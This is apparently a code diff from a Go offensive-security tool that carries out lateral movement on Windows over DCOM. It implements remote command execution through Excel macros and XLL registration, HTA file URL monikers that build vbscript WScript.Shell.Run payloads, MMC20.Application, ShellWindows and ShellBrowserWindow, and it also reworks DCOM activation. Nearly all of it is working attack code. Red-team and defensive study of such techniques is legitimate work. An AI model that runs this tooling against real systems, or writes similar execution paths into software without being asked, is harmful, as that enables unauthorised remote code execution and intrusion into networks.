return nil, fmt.Errorf("call %q: get properties of object %q: %w", method, obj, err)
|
||||
}
|
||||
di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("call %q: invalid dispatch object for %q", method, obj)
|
||||
}
|
||||
id = di.InterfacePointer().GetStandardObjectReference().Std.IPID
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/internal/util"
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
"github.com/rs/zerolog"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodExcelMacro = "Excel:ExecuteExcel4Macro"
|
||||
MethodExcelXLL = "Excel:RegisterXLL"
|
||||
ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046"
|
||||
)
|
||||
|
||||
type DcomExcel struct {
|
||||
Dispatch
|
||||
}
|
||||
|
||||
type DcomExcelMacro struct {
|
||||
DcomExcel
|
||||
Macros []string
|
||||
MacroFile string
|
||||
NoTerminate bool
|
||||
}
|
||||
|
||||
type DcomExcelXll struct {
|
||||
DcomExcel
|
||||
XllLocation string
|
||||
NoTerminate bool
|
||||
}
|
||||
|
||||
// Init will initialize the ShellBrowserWindow instance
|
||||
func (m *DcomExcel) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err == nil {
|
||||
return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// quit will terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()")
|
||||
func (m *DcomExcel) quit(ctx context.Context) (err error) {
|
||||
log := zerolog.Ctx(ctx)
|
||||
quit := "QUIT()"
|
||||
log.Info().
|
||||
Str("call", "ExecuteExcel4Macro").
|
||||
Str("macro", quit).
|
||||
Msg("terminating Excel process")
|
||||
qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit))
|
||||
_ = qr
|
||||
if err != nil {
|
||||
if errors.Is(err, syscall.ECONNRESET) {
|
||||
log.Info().Msg("Excel process terminated")
|
||||
return nil
|
||||
}
|
||||
log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit)
|
||||
}
|
||||
if qr.Return != 0 {
|
||||
err = hresult.FromCode(uint32(qr.Return))
|
||||
log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
log := zerolog.Ctx(ctx)
|
||||
if len(m.Macros) == 0 {
|
||||
m.Macros = []string{fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`))}
|
||||
}
|
||||
if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()")
|
||||
defer func() {
|
||||
_ = m.quit(ctx)
|
||||
}()
|
||||
}
|
||||
for _, macro := range m.Macros {
|
||||
// Call ExecuteExcel4Macro to execute macro
|
||||
log.Info().
|
||||
Str("call", "ExecuteExcel4Macro").
|
||||
Str("macro", util.Truncate(macro, 100)).
|
||||
Msg("executing Excel macro")
|
||||
ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(macro))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ir.Return != 0 {
|
||||
return hresult.FromCode(uint32(ir.Return))
|
||||
}
|
||||
log.Info().Msg("ExecuteExcel4Macro call successful")
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (m *DcomExcelXll) Call(ctx context.Context) (err error) {
|
||||
log := zerolog.Ctx(ctx)
|
||||
if !m.NoTerminate {
|
||||
defer func() {
|
||||
_ = m.quit(ctx)
|
||||
}()
|
||||
}
|
||||
qr, err := m.callComMethod(ctx, nil, "Application.RegisterXLL", stringToVariant(m.XllLocation))
|
||||
if err != nil {
|
||||
return fmt.Errorf("call RegisterXLL: %w", err)
|
||||
}
|
||||
log.Info().Msg("RegisterXLL call successful")
|
||||
if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat {
|
||||
log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully")
|
||||
} else {
|
||||
log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed")
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/imoniker/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/ipersistmoniker/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
"github.com/oiweiwei/go-msrpc/ndr"
|
||||
"github.com/oiweiwei/go-msrpc/text/encoding/utf16le"
|
||||
"github.com/rs/zerolog"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodHtafile = "HTAFile"
|
||||
HtafileUuid = "3050F4D8-98B5-11CF-BB82-00AA00BDCE0B"
|
||||
serialUuid = "F4815879-1D3B-487F-AF2C-825DC4852763"
|
||||
urlMonikerUuid = "79EAC9E0-BAF9-11CE-8C82-00AA004BA90B"
|
||||
)
|
||||
|
||||
const ( // See https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/1786df8e-b792-4a28-b7c5-4d9a91d2e401
|
||||
UriCreateAllowRelative uint32 = 0x00000001
|
||||
UriCreateAllowImplicitWildcardScheme uint32 = 0x00000002
|
||||
UriCreateAllowImplicitFileScheme uint32 = 0x00000004
|
||||
UriCreateNoFrag uint32 = 0x00000008
|
||||
UriCreateNoCanonicalize uint32 = 0x00000010
|
||||
UriCreateFileUseDosPath uint32 = 0x00000020
|
||||
UriCreateDecodeExtraInfo uint32 = 0x00000040
|
||||
UriCreateNoDecodeExtraInfo uint32 = 0x00000080
|
||||
UriCreateCanonicalize uint32 = 0x00000100
|
||||
UriCreateCrackUnknownSchemes uint32 = 0x00000200
|
||||
UriCreateNoCrackUnknownSchemes uint32 = 0x00000400
|
||||
UriCreatePreProcessHTMLURI uint32 = 0x00000800
|
||||
UriCreateNoPreProcessHTMLURI uint32 = 0x00001000
|
||||
UriCreateIESettings uint32 = 0x00002000
|
||||
UriCreateNoIESettings uint32 = 0x00004000
|
||||
UriCreateNoEncodeForbiddenChars uint32 = 0x00008000
|
||||
UriCreateNormalizeIntlChars uint32 = 0x00010000
|
||||
)
|
||||
|
||||
type DcomHtafile struct {
|
||||
Dcom
|
||||
Url string
|
||||
Vbscript string
|
||||
Javascript string
|
||||
ipm ipersistmoniker.PersistMonikerClient
|
||||
}
|
||||
|
||||
// Init will initialize the ShellBrowserWindow instance
|
||||
func (m *DcomHtafile) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
opts, err := m.bindInstance(ctx, uuid.MustParse(HtafileUuid), ipersistmoniker.PersistMonikerIID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("bind htafile instance: %w", err)
|
||||
}
|
||||
if m.ipm, err = ipersistmoniker.NewPersistMonikerClient(ctx, m.Client.Dce(), opts...); err != nil {
|
||||
return fmt.Errorf("init IPersistMoniker client: %w", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (m *DcomHtafile) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
log := zerolog.Ctx(ctx)
|
||||
mon, err := getUrlMoniker(m.Url, 0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create url moniker structure: %w", err)
|
||||
}
|
||||
log.Info().Str("URL", m.Url).Msg("Loading URL moniker")
|
||||
lrs, err := m.ipm.Load(ctx, &ipersistmoniker.LoadRequest{
|
||||
This: &dcom.ORPCThis{Version: m.comVersion},
|
||||
Name: mon,
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("IPersistMoniker.Load: %w", err)
|
||||
}
|
||||
if lrs.Return == 0 {
|
||||
log.Info().Msg("Load call successful")
|
||||
} else {
|
||||
log.Warn().Msgf("Load call returned %d", lrs.Return)
|
||||
}
|
||||
_ = lrs
|
||||
return
|
||||
}
|
||||
|
||||
type URLMoniker struct {
|
||||
URL string
|
||||
HasExtras bool // whether to include trailer with SerialGUID/SerialVersion/URIFlags on marshal
|
||||
SerialVersion uint32 // should be 0 when HasExtras; preserved on unmarshal
|
||||
URIFlags uint32 // the URICreateFlags bitmask (meaning per CreateUri)
|
||||
}
|
||||
|
||||
// MarshalBinary implements encoding.BinaryMarshaler.
|
||||
func (m URLMoniker) MarshalBinary() ([]byte, error) {
|
||||
// UTF-16LE encode URL + terminating NUL.
|
||||
urlBytes, err := utf16le.Encode(m.URL + "\x00")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []byte
|
||||
if m.HasExtras {
|
||||
out = make([]byte, 4+len(urlBytes)+16+4+4)
|
||||
copy(out[4+len(urlBytes):], uuid.MustParse(serialUuid).EncodeBinary())
|
||||
binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16:], m.SerialVersion)
|
||||
binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16+4:], m.URIFlags)
|
||||
} else {
|
||||
out = make([]byte, 4+len(urlBytes))
|
||||
}
|
||||
binary.LittleEndian.PutUint32(out, uint32(len(out)-4))
|
||||
copy(out[4:], urlBytes)
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) {
|
||||
blob, err := URLMoniker{URL: url, HasExtras: true, URIFlags: flags}.MarshalBinary()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
objRef := &dcom.ObjectReference{
|
||||
Signature: ([]byte)(dcom.ObjectReferenceCustomSignature),
|
||||
Flags: dcom.ObjectReferenceTypeCustom,
|
||||
IID: imoniker.MonikerIID,
|
||||
ObjectReference: &dcom.ObjectReference_ObjectReference{
|
||||
Value: &dcom.ObjectReference_Custom{
|
||||
Custom: &dcom.ObjectReferenceCustom{
|
||||
ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(uuid.MustParse(urlMonikerUuid))),
|
||||
ObjectData: blob,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
dat, err := ndr.Marshal(objRef, ndr.Opaque)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &urlmon.Moniker{Data: dat}, nil
|
||||
}
|
||||
|
||||
func HtafileGetUrl(url, jscript, vbscript string, execIO *goexec.ExecutionIO) string {
|
||||
switch {
|
||||
case url != "":
|
||||
case vbscript != "":
|
||||
return "vbscript:" + vbscript
|
||||
case jscript != "":
|
||||
return "javascript:" + jscript
|
||||
case execIO != nil:
|
||||
return getVbscriptCmdExecUrl(execIO.String())
|
||||
}
|
||||
return url
|
||||
}
|
||||
|
||||
func getVbscriptCmdExecUrl(cmd string) string {
|
||||
return fmt.Sprintf(`vbscript:Close(CreateObject("WScript.Shell").Run("%s"))`, strings.ReplaceAll(cmd, `"`, `""`))
|
||||
}
|
||||
+21
-21
@@ -3,48 +3,48 @@ package dcomexec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/rs/zerolog"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodMmc = "MMC" // MMC20.Application::Document.ActiveView.ExecuteShellCommand
|
||||
MethodMmc = "MMC20.Application" // MMC20.Application::Document.ActiveView.ExecuteShellCommand
|
||||
MmcUuid = "49B2791A-B1AE-4C90-9B8E-E860BA07F889"
|
||||
)
|
||||
|
||||
type DcomMmc struct {
|
||||
Dcom
|
||||
|
||||
IO goexec.ExecutionIO
|
||||
|
||||
Dispatch
|
||||
WorkingDirectory string
|
||||
WindowState string
|
||||
}
|
||||
|
||||
// Init will initialize the ShellBrowserWindow instance
|
||||
func (m *DcomMmc) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err == nil {
|
||||
return m.getDispatch(ctx, uuid.MustParse(MmcUuid))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Execute will perform command execution via the MMC20.Application DCOM object.
|
||||
func (m *DcomMmc) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
|
||||
log := zerolog.Ctx(ctx).With().
|
||||
Str("module", ModuleName).
|
||||
Str("method", MethodMmc).
|
||||
Logger()
|
||||
|
||||
method := "Document.ActiveView.ExecuteShellCommand"
|
||||
|
||||
log := zerolog.Ctx(ctx).With().Str("method", method).Logger()
|
||||
cmdline := execIO.CommandLine()
|
||||
proc := cmdline[0]
|
||||
args := cmdline[1]
|
||||
|
||||
// Arguments must be passed in reverse order
|
||||
if _, err := callComMethod(ctx,
|
||||
m.dispatchClient,
|
||||
nil,
|
||||
method,
|
||||
if _, err := m.callComMethod(ctx, nil, method,
|
||||
stringToVariant(m.WindowState),
|
||||
stringToVariant(args),
|
||||
stringToVariant(cmdline[1]),
|
||||
stringToVariant(m.WorkingDirectory),
|
||||
stringToVariant(proc)); err != nil {
|
||||
stringToVariant(cmdline[0])); err != nil {
|
||||
|
||||
log.Error().Err(err).Msg("Failed to call method")
|
||||
return fmt.Errorf("call %q: %w", method, err)
|
||||
}
|
||||
log.Info().Msg("Method call successful")
|
||||
|
||||
+21
-109
@@ -2,18 +2,15 @@ package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec/dce"
|
||||
"github.com/oiweiwei/go-msrpc/dcerpc"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
|
||||
"github.com/rs/zerolog"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
@@ -26,14 +23,11 @@ type Dcom struct {
|
||||
goexec.Cleaner
|
||||
goexec.Executor
|
||||
|
||||
Client *dce.Client
|
||||
ClassID *uuid.UUID
|
||||
|
||||
dispatchClient idispatch.DispatchClient
|
||||
Client *dce.Client
|
||||
comVersion *dcom.COMVersion
|
||||
}
|
||||
|
||||
func (m *Dcom) Connect(ctx context.Context) (err error) {
|
||||
|
||||
if err = m.Client.Connect(ctx); err == nil {
|
||||
m.AddCleaners(m.Client.Close)
|
||||
}
|
||||
@@ -41,107 +35,25 @@ func (m *Dcom) Connect(ctx context.Context) (err error) {
|
||||
}
|
||||
|
||||
func (m *Dcom) Init(ctx context.Context) (err error) {
|
||||
|
||||
log := zerolog.Ctx(ctx).With().
|
||||
Str("module", ModuleName).Logger()
|
||||
|
||||
if m.Client == nil || m.Client.Dce() == nil {
|
||||
return errors.New("DCE connection not initialized")
|
||||
}
|
||||
|
||||
if m.ClassID == nil {
|
||||
return errors.New("CLSID not specified")
|
||||
}
|
||||
|
||||
class := dcom.ClassID(*dtyp.GUIDFromUUID(m.ClassID))
|
||||
|
||||
if class.GUID() == nil {
|
||||
return fmt.Errorf("invalid class ID: %s", m.ClassID)
|
||||
}
|
||||
|
||||
opts := []dcerpc.Option{
|
||||
dcerpc.WithSign(),
|
||||
}
|
||||
|
||||
inst := &dcom.InstantiationInfoData{
|
||||
ClassID: &class,
|
||||
IID: []*dcom.IID{IDispatchIID},
|
||||
ClientCOMVersion: ComVersion,
|
||||
}
|
||||
ac := &dcom.ActivationContextInfoData{}
|
||||
loc := &dcom.LocationInfoData{}
|
||||
scm := &dcom.SCMRequestInfoData{
|
||||
RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{
|
||||
RequestedProtocolSequences: []uint16{7},
|
||||
},
|
||||
}
|
||||
|
||||
ap := &dcom.ActivationProperties{
|
||||
DestinationContext: 2,
|
||||
Properties: []dcom.ActivationProperty{inst, ac, loc, scm},
|
||||
}
|
||||
|
||||
apin, err := ap.ActivationPropertiesIn()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, m.Client.Dce())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{
|
||||
ORPCThis: &dcom.ORPCThis{
|
||||
Version: ComVersion,
|
||||
Flags: 1,
|
||||
CID: &RandCid,
|
||||
},
|
||||
ActPropertiesIn: apin,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
log.Info().Msg("RemoteCreateInstance succeeded")
|
||||
|
||||
apout := new(dcom.ActivationProperties)
|
||||
if err = apout.Parse(cr.ActPropertiesOut); err != nil {
|
||||
return err
|
||||
}
|
||||
si := apout.SCMReplyInfoData()
|
||||
pi := apout.PropertiesOutInfo()
|
||||
|
||||
if si == nil {
|
||||
return fmt.Errorf("remote create instance response: SCMReplyInfoData is nil")
|
||||
}
|
||||
|
||||
if pi == nil {
|
||||
return fmt.Errorf("remote create instance response: PropertiesOutInfo is nil")
|
||||
}
|
||||
|
||||
// Ensure that the string bindings don't contain the target hostname
|
||||
for _, bind := range si.RemoteReply.OXIDBindings.GetStringBindings() {
|
||||
stringBinding, err := dcerpc.ParseStringBinding("ncacn_ip_tcp:" + bind.NetworkAddr) // TODO: try bind.String()
|
||||
|
||||
if m.comVersion = contextComVersion(ctx); m.comVersion == nil {
|
||||
m.comVersion, err = getComVersion(ctx, m.Client.Dce())
|
||||
if err != nil {
|
||||
log.Debug().Err(err).Msg("Failed to parse string binding")
|
||||
continue
|
||||
return fmt.Errorf("get COM version: %w", err)
|
||||
}
|
||||
stringBinding.NetworkAddress = ""
|
||||
opts = append(opts, dcerpc.WithEndpoint(stringBinding.String()))
|
||||
}
|
||||
|
||||
err = m.Client.Reconnect(ctx, opts...)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
log.Info().Msg("created new DCERPC dialer")
|
||||
|
||||
m.dispatchClient, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), dcom.WithIPID(pi.InterfaceData[0].IPID()))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
log.Info().Msg("created IDispatch Client")
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (m *Dcom) bindInstance(ctx context.Context, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
|
||||
if mt := contextCreateInstanceMethod(ctx); mt == OptRemoteCreateInstance {
|
||||
opts, err = m.remoteCreateInstance(ctx, m.Client.Dce(), cls, iid)
|
||||
} else if mt == OptRemoteActivation {
|
||||
opts, err = m.remoteActivation(ctx, m.Client.Dce(), cls, iid)
|
||||
} else {
|
||||
return nil, fmt.Errorf("invalid create instance method: %s", mt)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create instance: %w", err)
|
||||
}
|
||||
return opts, m.Client.Reconnect(ctx, opts...)
|
||||
}
|
||||
|
||||
@@ -3,50 +3,50 @@ package dcomexec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/rs/zerolog"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodShellBrowserWindow = "ShellBrowserWindow" // ShellBrowserWindow::Document.Application.ShellExecute
|
||||
ShellBrowserWindowUuid = "C08AFD90-F2A1-11D1-8455-00A0C91F3880"
|
||||
)
|
||||
|
||||
type DcomShellBrowserWindow struct {
|
||||
Dcom
|
||||
|
||||
IO goexec.ExecutionIO
|
||||
|
||||
Dispatch
|
||||
WorkingDirectory string
|
||||
WindowState string
|
||||
}
|
||||
|
||||
// Init will initialize the ShellBrowserWindow instance
|
||||
func (m *DcomShellBrowserWindow) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err == nil {
|
||||
return m.getDispatch(ctx, uuid.MustParse(ShellBrowserWindowUuid))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Execute will perform command execution via the ShellBrowserWindow object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||
func (m *DcomShellBrowserWindow) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
|
||||
log := zerolog.Ctx(ctx).With().
|
||||
Str("module", ModuleName).
|
||||
Str("method", MethodShellBrowserWindow).
|
||||
Logger()
|
||||
|
||||
method := "Document.Application.ShellExecute"
|
||||
|
||||
cmdline := execIO.CommandLine()
|
||||
proc := cmdline[0]
|
||||
args := cmdline[1]
|
||||
|
||||
// Arguments must be passed in reverse order
|
||||
if _, err := callComMethod(ctx, m.dispatchClient,
|
||||
nil,
|
||||
method,
|
||||
if _, err := m.callComMethod(ctx, nil, method,
|
||||
stringToVariant(m.WindowState),
|
||||
stringToVariant(""), // FUTURE?
|
||||
stringToVariant(m.WorkingDirectory),
|
||||
stringToVariant(args),
|
||||
stringToVariant(proc)); err != nil {
|
||||
stringToVariant(cmdline[1]),
|
||||
stringToVariant(cmdline[0])); err != nil {
|
||||
|
||||
log.Error().Err(err).Msg("Failed to call method")
|
||||
return fmt.Errorf("call %q: %w", method, err)
|
||||
}
|
||||
log.Info().Msg("Method call successful")
|
||||
zerolog.Ctx(ctx).Info().Msg("Method call successful")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -4,68 +4,60 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
|
||||
"github.com/rs/zerolog"
|
||||
"github.com/rs/zerolog/log"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodShellWindows = "ShellWindows" // ShellWindows::Item().Document.Application.ShellExecute
|
||||
ShellWindowsUuid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"
|
||||
)
|
||||
|
||||
type DcomShellWindows struct {
|
||||
Dcom
|
||||
|
||||
IO goexec.ExecutionIO
|
||||
Dispatch
|
||||
|
||||
WorkingDirectory string
|
||||
WindowState string
|
||||
}
|
||||
|
||||
// Init will initialize the ShellWindows instance
|
||||
func (m *DcomShellWindows) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err == nil {
|
||||
return m.getDispatch(ctx, uuid.MustParse(ShellWindowsUuid))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Execute will perform command execution via the ShellWindows object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||
func (m *DcomShellWindows) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
|
||||
log := zerolog.Ctx(ctx).With().
|
||||
Str("module", ModuleName).
|
||||
Str("method", MethodShellWindows).
|
||||
Logger()
|
||||
|
||||
method := "Item"
|
||||
|
||||
cmdline := execIO.CommandLine()
|
||||
proc := cmdline[0]
|
||||
args := cmdline[1]
|
||||
|
||||
iv, err := callComMethod(ctx,
|
||||
m.dispatchClient,
|
||||
nil,
|
||||
"Item")
|
||||
|
||||
iv, err := m.callComMethod(ctx, nil, "Item")
|
||||
if err != nil {
|
||||
log.Error().Err(err).Msg("Failed to call method")
|
||||
return fmt.Errorf("call method %q: %w", method, err)
|
||||
}
|
||||
|
||||
item, ok := iv.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
|
||||
if !ok {
|
||||
return errors.New("failed to get dispatch from ShellWindows::Item()")
|
||||
}
|
||||
|
||||
method = "Document.Application.ShellExecute"
|
||||
cmdline := execIO.CommandLine()
|
||||
|
||||
// Arguments must be passed in reverse order
|
||||
if _, err := callComMethod(ctx, m.dispatchClient,
|
||||
item.InterfacePointer().
|
||||
GetStandardObjectReference().
|
||||
Std.IPID,
|
||||
method,
|
||||
if _, err := m.callComMethod(ctx, item.InterfacePointer().GetStandardObjectReference().Std.IPID, method,
|
||||
stringToVariant(m.WindowState),
|
||||
stringToVariant(""), // FUTURE?
|
||||
stringToVariant(m.WorkingDirectory),
|
||||
stringToVariant(args),
|
||||
stringToVariant(proc)); err != nil {
|
||||
|
||||
log.Error().Err(err).Msg("Failed to call method")
|
||||
stringToVariant(cmdline[1]),
|
||||
stringToVariant(cmdline[0])); err != nil {
|
||||
return fmt.Errorf("call %q: %w", method, err)
|
||||
}
|
||||
log.Info().Msg("Method call successful")
|
||||
|
||||
+22
-51
@@ -2,74 +2,45 @@ package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/oiweiwei/go-msrpc/dcerpc"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
|
||||
"strings"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) {
|
||||
|
||||
parts := strings.Split(method, ".")
|
||||
|
||||
for i, obj := range parts {
|
||||
|
||||
var opts []dcerpc.CallOption
|
||||
|
||||
if id != nil {
|
||||
opts = append(opts, dcom.WithIPID(id))
|
||||
}
|
||||
|
||||
gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{
|
||||
This: ORPCThis,
|
||||
IID: &dcom.IID{},
|
||||
LocaleID: LcEnglishUs,
|
||||
|
||||
Names: []string{obj + "\x00"},
|
||||
}, opts...)
|
||||
|
||||
// getComVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server.
|
||||
// If a COM version can be determined from the context, then IObjectExporter.ServerAlive2 will not be called
|
||||
func getComVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) {
|
||||
cv := contextComVersion(ctx)
|
||||
if cv == nil {
|
||||
oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(gr.DispatchID) < 1 {
|
||||
return nil, fmt.Errorf("dispatch ID of name %q not found", obj)
|
||||
}
|
||||
|
||||
irq := &idispatch.InvokeRequest{
|
||||
This: ORPCThis,
|
||||
IID: &dcom.IID{},
|
||||
LocaleID: LcEnglishUs,
|
||||
|
||||
DispatchIDMember: gr.DispatchID[0],
|
||||
}
|
||||
|
||||
if i >= len(parts)-1 {
|
||||
irq.Flags = 1
|
||||
irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args}
|
||||
return dc.Invoke(ctx, irq, opts...)
|
||||
}
|
||||
irq.Flags = 2
|
||||
|
||||
ir, err = dc.Invoke(ctx, irq, opts...)
|
||||
srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get properties of object %q: %w", obj, err)
|
||||
return nil, err
|
||||
}
|
||||
